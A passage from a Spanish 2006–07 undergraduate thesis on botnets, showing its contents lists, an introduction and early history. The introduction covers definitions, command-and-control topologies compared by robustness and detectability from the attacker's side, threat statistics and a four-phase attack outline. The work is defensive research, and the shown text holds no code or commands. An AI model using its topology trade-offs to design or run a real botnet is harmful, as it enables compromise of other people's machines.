Adrián Belmonte: Bot y Botnets: Análisis de estructura y funcionamiento de las redes de...

ESCUELA TÉCNICA SUPERIOR DE INGENIERÍA INFORMÁTICA

Bot y Botnets: Análisis de estructura y funcionamiento de las redes de ordenadores comprometidos

Realizado por Adrián Belmonte Martín

Para la obtención del título de INGENIERO TÉCNICO EN INFORMÁTICA DE SISTEMAS

Dirigido por Sergio Pozo Hidalgo

Realizado en el departamento de LENGUAJES Y SISTEMAS INFORMÁTICOS

Convocatoria de Marzo Curso 2006-07

Índice general

1. Introducción y conceptos previos……………………………………………...1

1.1 Introducción………………………………………………………………………………1

1.2 Definiciones y clasificación………………………………………………………………3

1.3 Objetivos………………………………………………………………………………….6

1.4 Justificación………………………………………………………………………………7

2. Historia……………………………………………………………………………………….13 2.1 Virus y gusanos: Los antecedentes……………………………………………………16

2.2 Bots de IRC. Antecedentes…………………………………………………………….28

3. Funcionamiento y estructura…………………………………………………30 3.1 Ciclos de un bot………………………………………………………………………….36

3.2 Algunos usos de las botnet……………………………………………………………...38

4. Fauna Bot…………………………………………………………………...…40 4.1 Los precursores. Bots IRC…………………………………………………………...…42

4.1.1 Coromputer dunno……………………………………………………………42

4.1.2 Skydance……………………………………………………………………...44

4.2 Los primeros bots C&C………………………………………………………………...45

4.2.1 Microbot…………………………………………………………………...…45

4.2.2 G-spot…………………………………………………………………...……47

4.2.3 Leechbot 2.0 VB……………………………………………………...………50

4.2.4 Data Spy Network (DSNX)……………………………………………..……50

4.2.5 Omega Project…………………………………………………………..……61

5. Las grandes Familias Bot…………………………………………………………..……66 5.1 Sdbot……………………………………………………………………………..………67

5.1.1 Versión 0.4……………………………………………………………………67

5.1.2 Versión 0.5……………………………………………………………………69

5.1.3 G-sys 3.0……………………………………………………………...………71

5.2 Spybot……………………………………………………………………………….……72

5.2.1 Versión 1.1……………………………………………………………………72

5.2.2 Versión 1.2……………………………………………………………………74

5.2.3 Versión 1.3……………………………………………………………………75

5.3 Rbot /rxbot/rx……………………………………………………………………………76

5.3.1 Los comandos……………………………………………………...…………80

5.4 Phatbot/Agobot…………………………………………………………………….……80 5.5 GT Bot (Global Threat bot) …………………………………………………....………83

6. Montaje de una botnet……………………………………………………………………86 6.1 Configuración del bot…………………………………………………………...………86

6.2 Proceso de expansión……………………………………………………………………95

6.2.1 Infectando nuestro primer sistema. El bot semilla……………………………96

6.2.2 Proceso de expansion a otros sistemas…………………………...…………..97

6.3 Los “Spreaders…………………………………………………………………………102

6.3.1 NetBios spreader………………………………………………….…………102

6.3.2 SubSeven Spreader…………………………………………….……………107

6.3.3 Bagle spreader………………………………………………………………111

6.3.4 MyDoom spreader…………………………………………..………………113

6.3.5 Lsass spreader………………………………………………….……………113

6.3.6 Sasser Spreader……………………………………………….……..………115

6.3.7 Optix Spreader………………………………………………………………117

6.3.8 Dcom spreader………………………………………………………………120

6.3.9 Upnp spreader………………………………………………….……………123

6.3.10 MSSQL

spreader……………………………………………...…………………….124

6.3.11 WebDav spreader……………………………………………….…………125

6.4 Ordenando el análisis……………………………………………………..….………127

6.5 Proceso de infección en el sistema comprometido ………………………….………133

6.6 Protección del bot………………………………………………………..……………138

7. Explotación del sistema…………………………………………………………………150 7.1 KeyLogging…………………………………………………………………….………150

7.1.1 Envío de la información a un canal de IRC especificado…………...………151

7.1.2 Envío de información a un archivo local de la máquina comprometida…....153

7.2 Sniffing…………………………………………………………………………………158

7.2.1 Implementación en Rbot………………………………………….…………159

7.2.2 Implementación en Phatbot/Agobot…………………………...……………161

7.3 Ataques de Denegación de Servicio …………………………………………………165

7.4 Spam …………………………………………………………………..………………173

7.5 Funciones de proxy, pasarela y servidor………………………………….…………175

7.6 Fraude por clic…………………………………………………………………………179

7.7 Descargas y mejoras………………………………………………………...…………181

8. Técnicas de protección ……………………………………………………….…………185 8.1 Prevención de equipos…………………………………………………………………185

8.2 Detección de las comunicaciones…………………………………………..………….186

8.3 Detección de características secundarias………………………………..……………187

8.4 Herramientas de detección……………………………………………………………189

8.4.1 Herramientas de análisis del sistema ……………………….………………189

8.4.2 Herramientas basadas en Honeypots…………………..……………………194

8.4.3 Herramientas de análisis de ficheros capturados. Proceso de captura de una

botnet……………………………………………………..…………………197

9. Mercado y futruro de las redes bots…………………………..……………202 9.1 Mercado de las redes bot………………………………………………………………202

9.2 Futuro de las redes bot………………………………………………………...………207

10. Conclusiones………………………………………………………………………..………210

Anexo A: Comandos de SDbot…………………………………………………………………....213

Anexo B: Comandos de Rbot……………………………………………………………………..219

Anexo C: Comandos de Phatbot/Agobot…………………………………………………………222

Anexo D: Desbordamiento de buffer…………………………………………………..…………232

Anexo E: Ataque de Denegación de Servicio……………………………………………….……236

Anexo F: Diccionario de términos…………………………………………………………..…….239

Anexo G: Bibliografia……………………………………………………………………..……….243

Índice de figuras Figura 1.1 Topología centralizada

Figura 1.2: Topología p2p

Figura 1.3: Responsabilidades y técnicas de actuación de Shadowserver

Figura 1.4: Crecimiento del tamaño de las botnets informadas NOV-FEB 2007

Figura 1.5: Crecimiento del número de botnets informadas Nov-Feb 2007

Figura 2.1: Evolución de los primeros ataques a redes 1980-2000

Figura 2.2: Definición de Rootkit

Figura 2.3: Eventos relacionados con gusanos y virus

Figura 2.4: Descripción del funcionamiento del gusano blaster

Figura 2.5: Captura del código del blaster

Figura 2.6: Mensaje de infección del gusano Blaster

Figura 2.7: Funcionamiento del gusano MyDoom

Figura 2.8: Infección por el gusano Sasser

Figura 2.9: Cronología de la nueva generación de gusanos. 1-marzo 1999 /30 abril 2004

Figura 3.1: El atacante busca un primer equipo víctima

Figura 3.2: Se ordena al ordenador semilla buscar nuevos objetivos

Figura 3.3: Una vez encontrado la vulnerabilidad, se inyecta el código del bot

Figura 3.4: Los ordenadores comprometidos se unen al canal especificado

Figura 3.5: La botnet busca en Internet nuevos objetivos vulnerables

Figura 3.6: Estructura típica de una botnet C&C IRC

Figura 3.7: Definición de DNS Dinámico

Figura 3.8: Ciclo de un botnet desde el punto de vista del atacante

Figura 3.9: Ciclo de un bot desde la víctima

Figura 4.1: Diferencias entre bot IRC y bot C&C IRC

Figura 4.2: Comunicación con el servidor IRC

Figura 4.3: Ejemplo de comunicación con el servidor IRC

Figura 4.4: Configuración del bot

Figura 4.5: definición de Socket Raw

Figura 4.6: Definición de UPX

Figura 4.7: Configuración de Microbot

Figura 4.8: GUI de Gspot

Figura 4.9: Comandos G-spot

Figura 4.10: Gspot en acción

Figura 4.11: GUI Del bot Data Spy Network 0.4b

Figura 4.12: Comandos de DSNX

Figura 4.13: Diagrama de clases

Figura 4.14: Comentario del autor del archivo Readme.txt del bot DSNX

Figura 4.15: GUI del bot DSN versión 0.5b

Figura 4.16: Nuevos comandos DSN

Figurra 4.17: Plugin DDOS para DSNX

Figura 4.18: Plugin HTTP para DSNX

Figura 4.19: Plugin de análisis de puertos para DSNX

Figura 4.20: Comandos del bot Omega

Figura 5.1: Configuración del bot sdbot

Figura 5.2: Nuevos comandos versión 0.5

Figura 5.3: Comandos Spybot

Figura 5.4: Comandos Spybot versión 1.2

Figura 5.5: Editor de configuración de Phatbot

Figura 5.6: Evolución temporal de las familias

Figura 5.7: Directorio que contiene al bot

Figura 6.1: Ejemplo de configuración del bot Coromputer dunno

Figura 6.2: Archivo de configuración de Rbot

Figura 6.3: Ejemplo de archivo de cabecera externo del bot Leechbot

Figura 6.4: Archivo de configuración del bot Omega II

Figura 6.5: GUI del bot Dataspy Network

Figura 6.6: GUI del bot G-spot

Figura 6.7: Configuración del bot microbot

Figura 6.8: GUI del bot Phatbot

Figura 6.9: RPC de Microsoft

Figura 6.10: Diagrama de flujo de la función nb_net_exec

Figura 6.11: Codigo del modulo nb_net_upload

Figura 6.12: Función nb_port_scan

Figura 6.13: Diagrama de flujo de la función nb_net_connect

Figura 6.14: Diagrama de flujo de la función nb_spread

Figura 6.15: Clase CScannerNetBios del bot Agobot

Figura 6.16: Aprovechando el sub7

Figura 6.17: Diagrama de flujo Sub7

Figura 6.18: Código fuente del programa para explotar el gusano bagle

Figura 6.19: Diagrama de flujo del módulo bagle

Figura 6.20: Fragmento de codigo de las cadenas a inyectar

Figura 6.21: Funcionamiento del gusano Sasser

Figura 6.22: Diagrama de flujo de la explotación del gusano sasser

Figura 6.23: Código del programa de explotación del gusano Optix

Figura 6.24: Código del shellcode Dcom2

Figura 6.25: Detectando la versión del SO

Figura 6.26: Diagrama de flujo del programa de explotación de la vulnerabilidad DCOM

Figura 6.27: Extracto del código fuente del programa


Figura 6.29: cuerpo de petición para WEBDAV

Figura 6.30: código de la explotación del sistema

Figura 6.31: Comandos para el análisis de equipos

Figura 6.32: Captura del bot en acción

Figura 6.33: Código UML de Phatbot

Figura 6.34: Función Doinfect ()

Figura 6.35: Explicación de algunas funciones útiles

Figura 6.36: Fichero startup.c

Figura 6.37: Fragmento de WinMain del bot spybot

Figura 6.38: Fragmento del archivo de configuración de sdbot

Figura 6.39: Fragmento de código con las claves del registro

Figura 6.40: Código UML del instalador en el inicio de Phatbot

Figura 6.41: Estructura de entada de procesos

Figura 6.42: Funciones de utilidad en el manejo de procesos

Figura 6.43: Función killav

Figura 6.44: Funciones útiles en el manejo de servicios

Figura 6.45: Código fuente de killsvc

Figura 6.46: Llamada a la comparación con la lista

Figura 6.47: Bloqueando la resolución de direcciones

Figura 6.48: Entradas en el registro de virus conocidos

Figura 6.49: Función removevirus

Figura 7.1: Función del capturador de teclas

Figura 7.2: Función sendkeys del bot spybot

Figura 7.3: Función StartLogging del bot DSN

Figura 7.4: Función JournelLogProc

Figura 7.5: Hilo de capturas de teclas

Figura 7.6: Función SaveKeys del Rbot

Figura 7.7: estructuras de la función Psniff

Figura 7.8: Declaración de las variables para el sniffer

Figura 7.9: Comparación del paquete con las variables definidas

Figura 7.10: Función que compara si el tráfico capturado es sospechoso de ser bot

Figura 7.11: Función que compara si el tráfico capturado es sospechoso de ser IRC

Figura 7.12: Función que compara si el tráfico capturado es sospechoso de ser FTP

Figura 7.13: Función que compara si el tráfico capturado es sospechoso de ser HTTP

Figura 7.14: Función que compara si el tráfico capturado es sospechoso de usar un programa vulnerable

Figura 7.15: Segmento de la función en donde se realiza la comparación de los paquetes

Figura 7.16: Bot Capturando tráfico

Figura 7.17: Ataque por DDOS

Figura 7.18: Ataque por denegación de servicio mediante una botnet

Figura 7.19: Definición de IP Spoofing

Figura 7.20: Función SYN Flood

Figura 7.21: Diagrama UML de las funciones DDOS de Agobot

Figura 7.22: Funcionamiento del spam

Figura 7.23: Definición de Proxy

Figura 7.24: Clase PortRedirect del bot DSN

Figura 7.25: Lanzador del servidor http

Figura 7.26: Fraude por clic

Figura 7.27: Petición http para visitar un sitio determinado

Figura 7.28: Estructura de la información de la descarga

Figura 7.29: Conexión con la URL remota

Figura 7.30: Copiando el archivo

Figura 7.31: Ejecución del archivo remotamente

Figura 7.32: Desinstalación del programa anterior

Figura 8.1: Captura de las comunicaciones

Figura 8.2: Secheck

Figura 8.3: Secheck analizando un sistema Windows

Figura 8.4: HijackThis

Figura 8.5: Archivo de log de Hijackthis

Figura 8.6: Multipot

Figura 8.7: Nepenthes

Figura 8.8: Archivo generado por RegShot con los cambios realizados en el sistema

Figura 8.9: Ejemplo de la captura del tráfico

Figura 8.10: Información sensible mostrada por el programa

Figura 8.11: LorPE

Figura 8.12: Desensamblador IDA

Figura 9.1: Ubicaciones de los servidores C&C

Figura 9.2: Entrevista publicada en Computer Sweden traducido por hispasec

Figura 9.3: Uso de Web para el comando y control

Figura 9.4: Ventana de comandos del C&C vía Web

Índice de Tablas

Tabla 1.1: Topologías de redes bot

Tabla 4.1: Características de los primeros bots C&C

Tabla 5.1: Características de las diferentes familias

Tabla 6.1: Puertos de las vulnerabilidades más usadas

Tabla 6.2: Características de la explotación en los distintos bots

Tabla 7.1: Resumen de características de explotación de los bots


Autor: Adrián Belmonte Martín 1

Capítulo 1

Introducción y conceptos previos 1.1 Introducción En su sentido más amplio un bot (diminutivo de robot que a su vez deriva de la palabra

Checoslovaca “robota” que significa trabajo) es un programa informático que realiza

diversas funciones imitando a los humanos: Minería de datos en Internet, funciones

rutinarias de edición de páginas Web, arañas de búsqueda, cartografiar sitios Web…

En el mundo de los videojuegos y los juegos en on-line se conocen a los bots como

programas que son capaces de jugar por si mismos (Aquí denominados borgs), véase el

caso de juegos como Half-life o Quake en los que eran utilizados para sustituir a

contrincantes humanos. Los bots para juegos CRPG (computer role-playing games) son

particularmente conocidos, en juegos como World Of Warcraft o City of Heroes, es

posible dejar un bot en línea mientras el usuario no se encuentra conectado, incluso

pudiendo realizar algunas tareas de manera automática y subir de nivel.

En sitios de conversión en línea (IRC) algunos bots fueron creados para responder de

forma automática a eventos externos concretos, de tal modo se puede intentar “simular”

conversaciones de una persona real, también son usados por los operadores del servidor

para realizar algunas operaciones de control de los canales, ayuda a los usuarios e

incluso últimamente, de publicidad.

Otros bots, por el contrario, están destinados a propósitos menos lícitos, como abrir

cuentas en sitios de correo gratuitos, para evitar esto, los administradores optan a

menudo por añadir un paso adicional como escribir una palabra en formato gráfico que

el usuario debe introducir, algo difícil de interpretar para un bot, ya que estos no

reconocen el texto contenido en una imagen.

Es importante distinguir que bot es una definición funcional, y no hace diferencias en

cuanto a su implementación. Un bot puede estar diseñado en cualquier lenguaje de

programación, funcionar en un servidor o en un cliente, ser un agente móvil, etc. [2]



En este proyecto vamos a centrarnos en un tipo de bot que está diseñado para tomar el

control de las máquinas a las que ataca y que es capaz en algunos casos de propagarse

automáticamente usando vulnerabilidades del sistema afectado.

Estos bots forman una red de máquinas comprometidas (botnet) bajo la dirección única

del creador de dicha red.

“En las seis horas que pasaron desde que se desplomó en la cama hasta que salió de ella, el hacker de 21 años ha comprometido cerca de 2000 ordenadores personales en todo el mundo. Dormía mientras su programa barría Internet en búsqueda de ordenadores vulnerables, infectándolos con virus que los volvía su esclavo. Ahora, con el humo de su primer Malboro del día, anda por la sala de estar de la casa de sus padres. El hacker, conocido en la red como 0x80, se sienta en un sofá de cuero, pone su portátil en la mesa y teclea una serie de comando. Con esta orden, los ordenadores infectados, empezaran a bajar e instalar software que bombardeará a sus usuarios con anuncios de sitios Web pornográficos. Tras la instalación, 0x80 ordenará a las máquinas buscar en Internet nuevas víctimas potenciales. El joven hacker [...] da una profunda calada y se recuesta en el sofá para exhalarlo. Sonríe. Es su día de trabajo, terminado en menos de dos minutos. En dos semanas recibirá un cheque por valor de 300 dólares de una de las compañías de marketing on-line que le paga por sus servicios.”

Fragmento traducido del artículo: Invasion of the Computer Snatchers por Brian Kreb. Publicado en The Washington post el Domingo 19 de Febrero del 2006 Página w10.



1.2 Definiciones y clasificación

Así pues, definimos:

Bot: Se generaliza a programas sirvientes que realizan determinadas acciones a base de

comandos emitidos desde el controlador. El tipo de bot que estudiaremos aquí es el

denominado bot C&C (Command and Control, traducido: comando y control) cada vez

que nos refiramos de ahora en adelante al término bot, estaremos refiriéndonos

inequívocamente a este. Si hablamos de otro tipo, lo indicaremos explícitamente.

Botnet: Su nombre se generaliza a partir del 2003 y hace referencia a redes de equipos

comprometidos (bots) controlados desde un equipo central, empleando diversos

protocolos.

Bot herder o bot master: Es el “dueño” de la red de bots.

Máquina zombie (drone): Con anterioridad al 2000 se solía usar este término para

definir una máquina comprometida usada para ataques de denegación de servicio

distribuida. En la actualidad podemos ampliar el término a máquina comprometida con

un bot bajo las órdenes del bot herder o bot master

Existen varios tipos de bots de comando y control (C&C), y se suelen clasificar según

su topología [3]:

• Centralizada: Se caracteriza por un punto central que comunica los mensajes

entre los clientes. Al ser un sólo sistema único, los mensajes suelen tener una

latencia baja, ya que la dirección entre todos los puntos es conocida y bien

definida. Desde la perspectiva del atacante este sistema tiene dos puntos débiles:

1. Son fáciles de detectar si hay demasiados clientes conectados al mismo

punto

2. Si se desconecta el punto central, se desconecta el sistema completo.



Figura 1.1 Topología centralizada

• Punto a punto (P2P): Este sistema está empezando a ser implantado en las

botnets más avanzadas, posee importantes ventajas sobre las redes centralizadas.

En primer lugar, es un sistema mucho más robusto. La desconexión de un bot no

significa necesariamente la pérdida de la botnet completa, por el contrario el

diseño de los sistemas p2p son más complejos y no existen garantías de entrega

de mensajes o latencia.

Figura 1.2: Topología p2p



• Aleatoria: Un sistema de comunicaciones podría estar basado en el principio de

que ningún bot sabe nada sobre otro bot. En esta topología un bot o su

controlador que quisiera enviar un mensaje, lo cifraría, analizaría la red en

búsqueda de otro equipo infectado y enviaría el mensaje cuando lo detecte. Un

sistema como este, es relativamente fácil de implementar y la detección de un

bot nunca pondría en peligro toda la botnet, sin embargo, la latencia de los

mensajes será muy alta y sin garantías de entrega.

Topología Complejidad en

el diseño

Facilidad de

detección

Latencia de

mensajes

Supervivencia

Centralizada BAJA MEDIA BAJA BAJA

P2P MEDIA BAJA MEDIA MEDIA

Aleatoria BAJA ALTA ALTA ALTA

Tabla 1.1: Topologías de redes bot

De manera un poco más abstracta también se clasifica según la cantidad de información

que se suministra: por un lado, tenemos la topología central, en la que el servidor sabe

todo acerca de todos los clientes mientras que en el otro extremo nos encontramos con

la topología aleatoria, en la que no sabemos nada de ningún cliente.

Cada topología tiene sus ventajas e inconvenientes, y sin duda, la topología óptima se

encuentra en algún sitio entre los extremos.

Entre todas estas opciones, vamos a focalizar el estudio en los bots de comando y

control bajo protocolo IRC, que estaría dentro de la topología centralizada. Existen

varios motivos para iniciar el estudio de los bots en esta categoría:

• Simplicidad: Es más sencillo que estudiar que otros protocolos como p2p y

mucho más clarificador. Además es un protocolo muy extendido y conocido.



• Fueron los primeros en aparecer: Los primeros bots se programaron pensando

exclusivamente en esta topología, por lo tanto los programas están más

depurados y probados.

• Poseen más código fuente para su estudio: Las fuentes con bots programados

para esta topología son superiores a cualquier otra topología existente.

• Contamos con más cantidad de programas para comparar: Con lo que podemos

incluso realizar clasificaciones según distintos métodos o características.

Es, por tanto, una plataforma y un protocolo excelente para comenzar el estudio de

redes de bots, para ver cómo funcionan internamente, cómo se comunican y que

métodos podemos usar para evitarlas.

1.3 Objetivos

En este proyecto vamos a investigar a fondo las redes de bot, el objetivo final es

proporcionar una idea clara de la estructura y funcionamiento de las redes de equipos

comprometidos, de la amenaza que suponen a nivel particular y general, de concienciar

de la importancia de la seguridad en red y de proporcionar información sobre métodos y

herramientas que se puedan utilizar para combatir este tipo de amenazas. Para lograr

esto:

• Proporcionaremos una definición exacta sobre qué tipo de bot hablaremos. Al

ser un término con tantas acepciones es importante indicar a cuál exactamente

nos estamos refiriendo

• Se analizarán las diferentes topologías en las que se implementan dada la

importancia de conocer cómo se comunican estos tipos de redes para lograr su

desarticulación

• Conoceremos sus antecedentes. Sus diferencias con los gusanos de Internet, qué

características heredan de ellos y de los bots de IRC.

• Estudiaremos la historia de los diferentes virus y gusanos para comprender la

evolución tecnológica de los mismos.



• Se realizará una clasificación exhaustiva por familias y características de

aproximadamente 300 tipos de bots diferentes, estudiando detalladamente sus

funcionalidades a través de su código fuente.

• Estudiaremos las vulnerabilidades de las que se aprovechan estos programas y

veremos cómo se implementan en los bots

• Veremos el proceso de expansión de una red de bots, cómo comprometen los

sistemas vulnerables y qué comandos y procedimientos se usan comúnmente

• Estudiaremos cómo explota el bot-herder los ordenadores comprometidos y

cuáles son los usos habituales de una red de bot para comprobar cómo nos

afectan

• Analizaremos las funcionalidades de cada tipo de bot

• Examinaremos qué beneficios obtiene el dueño de las botnets para comprobar

los negocios que se encuentran tras estas redes

• Estudiaremos qué herramientas y métodos existen para protegernos de la

amenaza que suponen

• Veremos cómo se puede desactivar una botnet

Para todo esto, comenzaremos el proyecto con la historia y antecedentes de los gusanos

así como de los bots de IRC, antecedentes de los bots. Posteriormente, los

clasificaremos según sus familias y siguiendo un orden cronológico para comprobar la

evolución de estos programas, a continuación, pasaremos a la parte más técnica del

proyecto y estudiaremos los módulos de expansión y explotación del sistema,

analizando en multitud de ocasiones el código fuente de los programas. Acabaremos

con las técnicas y programas usados para poder protegernos de estas redes.

1.4 Justificación

Visto todo esto es interesante resaltar por qué debemos estudiar el funcionamiento de

las redes de bots, ya que nos afecta directa e indirectamente. Podríamos diferenciar las

causas de interés de este estudio en tres grandes grupos:



1. Usuarios Domésticos:

• Suplantación de identidad

• Robo de contraseñas

• Robo de datos bancarios

• Publicidad no deseada

• Derroche de recursos y deterioro en el funcionamiento del sistema

2. Empresas

• Deterioro de la imagen de la empresa:

• Perdidas económicas por posibles caídas en los servicios

• Filtrado de datos “sensibles” de la empresa

• Generación de tráfico innecesario

• Derroche de recursos

• Extorsión por parte de terceros

• Instalación de malware y envío de spam en los sistemas de la empresa

• Perdida de confianza del usuario en servicios on-line

3. Internet

• Generación de tráfico innecesario. Ruido de fondo de Internet

• Aumento de ataques y del uso indebido de las redes.

Los principales problemas que nos encontramos a la hora de hacer frente a una botnet

son los siguientes:

• Dificultad en la detección: Detectar un bot en un sistema es algo que en

ocasiones resulta bastante complejo, los bots de última generación incluyen

técnicas de ocultación avanzadas. Detectar una botnet es algo que dependerá de

la topología de la red, de los métodos que contemos y sobre todo de la

experiencia del administrador que realice esta tarea.

• Uso de protocolos comunes: El uso de protocolos como IRC o http y el uso de

puertos usuales, camufla este tipo de programas en el tráfico común de Internet,

además cuenta con la ventaja de que la mayoría de Firewalls están configurados

para permitir este tráfico.



• Falta de detección por los Antivirus: Dado que cada programa puede ser

modificado, ampliado y lanzado a la red, se da el caso de que existen cientos de

variantes del mismo programa, con lo que, a no ser que el programa antivirus

posea unas características heurísticas muy buenas, la compañía tarda un tiempo

en recoger el binario, analizarlo y publicar una vacuna, esto añadido al tiempo

que tarda el usuario en aplicar la actualización, hace que los equipos puedan

estar mucho tiempo “al desnudo”.

• Dificultad de “cazar” al dueño de la red: Normalmente es muy difícil seguir el

rastro del bot master ya que el servidor IRC hace de capa de protección, incluso

es común que se conecte al servidor a través de uno de los equipos infectados,

haciendo este de “proxy”. Además es usual la instalación de servidores IRC

privados en máquinas infectadas, re-dirigiéndolos mediante DNS dinámicos y el

uso de máscaras de acceso en estos servidores.

Existen grupos en Internet que se dedican activamente a la caza de redes bots

(denominados bot hunters o zombie hunters) como por ejemplo ShadowServer , un

grupo de voluntarios expertos en seguridad que se encargan de recoger, clasificar e

informar de actividades como spam, botnets y fraude electrónico con la finalidad de

mejorar la seguridad de Internet.:

Figura 1.3: Responsabilidades y técnicas de actuación de Shadowserver

En la página Web del grupo, encontramos información sobre cómo instalar el software

adecuado para detectar e informar de bots al grupo.



Aparte de estos, organizaciones ligadas a los gobiernos como CERT en americano o

REDIRIS en España, se dedican a prevenir estas redes y concienciar a los usuarios de

los peligros que estas entrañan.

A pesar de todos estos esfuerzos, el creciente número de máquinas “zombie” en las

redes empieza a ser preocupante. De acuerdo con las estadísticas de Symantec, en los

primeros 6 meses del 2006, se observaron una media de 57.000 bots activos por día. Así

mismo, durante ese periodo 4.7 millones de ordenadores fueron usados activamente en

botnets. [1]

A pesar de contar con estas estadísticas nadie puede saber a ciencia cierta el porcentaje

exacto de máquinas que se encuentran operando en la actualidad, esto es difícil

determinar debido a las diferencias en su tipología y morfología, que las hace muy

difícil de detectar y catalogar.

El continuo crecimiento y diversificación de Internet, ha venido acompañado de un

incremento de los ataques e intrusiones. Sin embargo, se observa un cambio significante

en la motivación de los atacantes: se ha pasado del vandalismo y el reconocimiento en

la comunidad, a los ataques para obtener beneficio económico. Este cambio ha supuesto

un crecimiento en la sofisticación de los métodos y las herramientas de ataque.

Actualmente los PC´s domésticos son objetivos apetecibles para los atacantes. La

mayoría de los objetivos ejecutan Microsoft Windows y muy a menudo no son

actualizados correctamente o protegidos tras un firewall, dejándolos expuestos a ataques.

Además, se encuentran también los ataques indirectos como los archivos HTML que

explotan vulnerabilidades o software malicioso en las redes Peer to Peer.

Las máquinas con conexión de banda ancha que se encuentran siempre conectadas son

un objetivo valioso para un atacante: se estima que los beneficios de este tráfico de

ciclos de cpu y recursos gastados en la instalación de bots podrían llegar a rondar el

billón de dólares.

Trend Micro, afirma que al menos el 5% de todos los ordenadores conectados a Internet

han sido usados alguna vez en botnets en cualquiera de sus variantes. [1] y si

observamos los gráficos de los últimos meses en cuanto actividad de bot y botnets, en

tan sólo los casos notificados (en la realidad son mucho mayores, ya que no todas las

redes son fácilmente detectadas) observamos que nos encontramos lejos de acabar con

esta amenaza.



Figura 1.4: Crecimiento del tamaño de las botnets informadas NOV-FEB

2007.Fuente ShadowServer

Figura 1.5: Crecimiento del número de botnets informadas Nov-Feb 2007: Fuente

ShadowServer



Nos encontramos sin duda, ante uno de los retos más importantes a los que se enfrenta

la seguridad informática en el principio de este nuevo milenio. Ya no sólo por el riesgo

de violación de privacidad o robo de información, si no porque, tras estas redes de

ordenadores remotamente controlados, se encuentran mafias perfectamente organizadas

que se lucran económicamente de cada sistema comprometido.

Existe en la actualidad una autentica lucha, un juego del ratón y el gato, entre los

creadores de las redes bot y los que luchan por desactivarlas. Las técnicas en el

desarrollo de los bots mejoran día a día, así como el abanico de vulnerabilidades que

explotan. Los intrusos ya no se mueven por diversión o autosatisfacción, ahora lo hacen

por beneficios económicos, lo que les permite dedicarle más tiempo y recursos al

desarrollo de los programas.

Sin embargo, el desconocimiento casi total que se tiene de este tema es una de sus

mejores bazas, es un tema poco conocido incluso en los ambientes de técnicos en

seguridad. Hay una enorme carencia de información con respecto a las redes bot, no hay

ningún libro publicado y la que existe se encuentra muy diseminada, poco organizada y

poco conocida.

Era necesario realizar este proyecto ya que era preciso recopilar la poca información

existente, organizarla y analizar a fondo cómo funcionan estos programas, será este, por

tanto, el documento de mayor extensión y profundidad que existe actualmente sobre el

tema. Conoce a tu enemigo, es importante estudiar siempre a qué nos enfrentamos y en

este caso es el estudio de una red de las que provienen la mayoría de los fraudes y

delitos cibernéticos que se usan en la actualidad siendo previsible que aumenten en un

futuro. Conocer su estructura y el funcionamiento nos permitirá analizar y buscar

soluciones ante uno de los principales problemas de Internet y que es,

sorprendentemente, desconocido para la mayoría de los usuarios de la Red.



Capítulo 2

Historia Los intentos de comprometer un sistema han estado presentes desde la creación de las

redes de comunicaciones, el atractivo que los primeros “hackers” encontraban en

hacerse con el control de un sistema remotamente, solía ser el reto intelectual que les

suponía el conseguirlo o el reconocimiento de su “comunidad”, por otra parte, se

encontraban con la oportunidad acceder a una máquina con unas prestaciones que de

otra manera no tendrían oportunidad de usar.

El objetivo de estos atacantes solían ser ordenadores conectados a las redes de las

universidades: Eran un buen objetivo, tenían más probabilidades a priori de estar mal

configurados que un ordenador de un servidor militar o gubernamental, poseían una

buenas prestaciones de cómputo y además estaban conectados 24 horas al día 7 horas a

la semana. Usualmente, los atacantes a estos sistemas solían aprovechar de

configuraciones típicas vulnerables, contraseñas poco seguras (normalmente por defecto)

e incluso ingeniería social para acceder a los sistemas. La gran mayoría de estos

atacantes no comprometían el sistema con fines maliciosos, se limitaban a curiosear y a

intentar no ser detectados el máximo tiempo posible.

Con la expansión de la informática y de las redes de ordenadores, un mayor número de

usuarios se acercan a esta manera de comunicación y con ello un aumento de los

usuarios interesados en explotar los sistemas con fines no lícitos o simplemente

demostrar la inseguridad en las redes de comunicaciones.

Sin embargo, las técnicas para ganar el acceso a un sistema han variado con el tiempo,

mejorando y aumentando su complejidad técnica, se observa en la figura la evolución de

los primero ataques en Internet.



Figura 2.1: Evolución de los primeros ataques a redes 1980-2000

Formalmente y muy resumidamente las fases de un ataque a un sistema se dividen en:

1. Exploración: El atacante analiza el sistema objetivo para comprobar si usa

Software vulnerable de ser explotado.

2. Acceso: Mediante un fallo de seguridad el atacante consigue acceder al sistema.

Aprovechando fallos locales, puede conseguir el acceso como administrador.

3. Consolidación: Una vez en el sistema, el intruso elimina las pruebas del ataque e

intenta instalar herramientas rootkit para asegurarse el acceso cómodo la

próxima vez.

4. Explotación: El atacante emplea el sistema para diversos fines.



Figura 2.2: Definición de Rootkit

Las técnicas que usa un bot para comprometer un sistema viene heredado

principalmente de dos tipos de programas distintos:

• Gusano: El bot utiliza acciones típicas de un gusano de Internet para realizar

más o menos automáticamente las tres primeras acciones del proceso

( Exploración, acceso y consolidación)

• Bot de IRC: Es la técnica usada para mantener la estructura C&C y realizar la

explotación del sistema, Este punto puede variar según el tipo de protocolo o la

topología (por ejemplo si usamos p2p), como hemos comentado, en este

documento nos vamos a centrar en estudiar este tipo.

Vamos a comenzar definiendo estos tipos de programas y posteriormente intentaremos

estudiar los antecedentes históricos de cada uno de ellos.

Un virus informático es un pequeño programa creado para alterar la forma en que

funciona un equipo sin el permiso o el conocimiento del usuario. Por definición [5], un

virus debe presentar dos características:

• Debe ser capaz de ejecutarse a sí mismo. A menudo coloca su propio código en

la ruta de ejecución de otro programa.

• Debe ser capaz de replicarse. Por ejemplo, puede reemplazar otros archivos

ejecutables con una copia del archivo infectado. Los virus pueden infectar tanto

equipos de escritorio como servidores de red.

Algunos virus están programados para atacar el equipo dañando programas, eliminando

archivos o reformateando el disco duro. Otros no están creados para causar daño alguno,

Rootkit Un rootkit es una herramienta, o un grupo de ellas usadas para esconder los procesos y archivos que permiten al intruso mantener el acceso al sistema, a menudo con fines maliciosos. Hay rootkits para una amplia variedad de sistemas operativos, como Linux, Solaris o Microsoft Windows [1].



sino para replicarse y dar a conocer su presencia mediante la presentación de mensajes

de texto, vídeo o sonido. Incluso estos virus benignos pueden crear problemas al usuario

informático. Normalmente hacen uso de la memoria correspondiente a los programas

legítimos, como resultado, pueden provocar a un comportamiento irregular en el equipo

e incluso hacer que el sistema deje de responder. Además, muchos virus contienen

errores que pueden ocasionar pérdidas de datos y bloqueos del sistema.

Los gusanos son programas que se replican a sí mismos de sistema a sistema sin utilizar

un archivo para hacerlo. En esto se diferencian de los virus, que necesitan extenderse

